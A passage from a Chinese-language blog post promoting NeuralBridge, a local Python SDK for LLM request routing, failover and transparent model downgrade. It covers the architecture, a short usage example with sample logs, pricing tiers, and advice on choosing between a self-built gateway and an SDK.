&lt;p&gt;问题是：&lt;strong&gt;我们的产品从一开始就没有网络层。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;SDK 代码运行在用户进程里，你要Hook我的&lt;code&gt;.pyd&lt;/code&gt;文件，我可以检测，但检测手段有限（只能是运行时签名校验）。而如果用户直接FridaAttached，根本拦不住。&lt;/p&gt;

&lt;p&gt;反过来，真正的网关架构（LiteLLM/OneAPI）防绕过靠的是&lt;strong&gt;网络层隔离&lt;/strong&gt;——你在网络层做鉴权，Hook根本碰不到。&lt;/p&gt;

&lt;p&gt;我们没有这个层，所以这个优势根本不存在。&lt;/p&gt;




&lt;h2&gt;
  
  
  结论：我们选择了另一条路
&lt;/h2&gt;

&lt;p&gt;放弃网关架构后，我们重新审视了自己的技术底座：&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;我们真正擅长的是什么？&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;4层级联自愈（L1诊断→L2路由→L3降级→L4反馈）&lt;/li&gt;
&lt;li&gt;6种路由策略（轮询/最低延迟/成本最优/健康优先/加权/故障切换）&lt;/li&gt;
&lt;li&gt;20+错误码分类，95.19%自愈率&lt;/li&gt;
&lt;li&gt;P50 37µs的本地极速&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;我们决定做减法，而不是做加法：&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;本地SDK免费&lt;/strong&gt;：&lt;code&gt;pip install neuralbridge-sdk&lt;/code&gt;，零门槛使用&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;透明降级Pro版&lt;/strong&gt;：¥99/月，让用户看见每一个降级决策&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;团队治理Enterprise版&lt;/strong&gt;：按需报价，支持全局策略下发和审计&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;不碰数据，不过流量，只卖确定性。&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  现在的架构是什么样的
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;用户进程内
┌─────────────────────────────────────┐
│  NeuralBridge SDK (pip install)     │
│                                     │
│  L1 Diagnoser ──→ 故障识别          │
│  L2 Router   ──→ 智能路由            │
│  L3 Downgrade ──→ 模型降级           │
│  L4 Flywheel ──→ 持续进化            │
│                                     │
│  verbose=True 输出透明日志           │
│  Pro版输出完整决策链路+质量预估       │
└─────────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;用户要做的只有一件事：&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;neuralbridge&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;SelfHealingEngine&lt;/span&gt;

&lt;span class="n"&gt;engine&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;SelfHealingEngine&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;api_key&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sk-...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;engine&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;chat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;帮我写一个快排算法&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;输出：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[NeuralBridge] 主目标: gpt-4o (健康分: 92, 预估成本: $0.045)
[NeuralBridge] 触发 L2 降级: openai 返回 429 (Rate Limit)
[NeuralBridge] 决策: 按 COST_OPTIMAL 策略 → gpt-4o-mini
[NeuralBridge] 实际成本: $0.003 (节省 93.3%)
[NeuralBridge] 质量预估: 95% (基于历史任务相似度)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;省了多少钱，看见。&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;切了哪个模型，知道。&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;为什么切，有理由。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这就是「模型降级透明化」——不是替你做决定，是让你看见每一个决定。&lt;/p&gt;




&lt;h2&gt;
  
  
  写给还在选型的团队
&lt;/h2&gt;

&lt;p&gt;如果你也在「自建网关」和「买SDK」之间犹豫，有几个问题你可以先问自己：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;你的团队有多少人专门维护网关？&lt;/strong&gt; 少于3个人，自建网关会拖死你&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;你对延迟的容忍度是多少？&lt;/strong&gt; 业务是 ms 级敏感吗？敏感就别走网关&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;你的合规团队怎么说？&lt;/strong&gt; 过一遍DPA，可能比买SDK还贵&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;你的流量有多大？&lt;/strong&gt; 月均1亿Token以下，买服务比自建划算&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  关于 NeuralBridge
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;透明降级&lt;/strong&gt;是2026年AI调度的核心痛点。&lt;/p&gt;

&lt;p&gt;当所有人都在卖「黑盒能力」的时候，我们选择卖「透明」。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;免费版：pip install，3行代码，零配置&lt;/li&gt;
&lt;li&gt;Pro版 ¥99/月：看见每一个降级决策&lt;/li&gt;
&lt;li&gt;Enterprise版：团队级全局策略+审计&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;官网：&lt;a href="https://neuralbridge.cn" rel="noopener noreferrer"&gt;https://neuralbridge.cn&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;欢迎评论区留下你的降级策略踩坑经历。&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>llm</category>
      <category>failover</category>
      <category>python</category>
    </item>
  </channel>
</rss>
